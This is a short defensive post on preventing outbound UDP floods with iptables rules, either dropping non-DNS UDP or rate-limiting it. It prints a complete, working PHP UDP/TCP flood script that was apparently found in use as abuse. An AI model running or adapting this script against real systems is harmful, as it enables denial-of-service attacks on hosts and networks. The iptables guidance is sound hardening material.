Code Snippet: iptables settings to prevent UDP abuse (flood protection)
Prevent UDP flood
Some basic iptables settings can prevent UDP flood from happening.
The Attacker
Here’s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.
ignore_user_abort(TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
$dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
if($_GET['type'] == 'tcp')
{
$posttype = 'tcp://';
}
else
{
$posttype = 'udp://';
}
}
else
{
$posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
if(isset($_GET['p']))
$port = $_GET['p'];
else $port = rand(1,65000);
$sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
if($sock){
++$p;
$fwriteFile = fwrite($sock, $out);
fclose($sock);
}
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";The Solution
Generally speaking, there’s no need to allow UDP traffic other than DNS.
All non-essential UDP traffic can be completely blocked with the following settings:
# allow dns requests to google nameservers iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT # block all other udp iptables -A OUTPUT -p udp -j DROP ip6tables -A OUTPUT -p udp -j DROP
Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b
Alternatively, rate limiting can be employed as a more tolerant measure:
# Outbound UDP Flood protection in a user defined chain. iptables -N udp-flood iptables -A OUTPUT -p udp -j udp-flood iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: ' iptables -A udp-flood -j DROP
Gist: https://gist.github.com/thoward/6180165
Note: You’ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!
Source: Troy Howard
iptables recent module usage by example
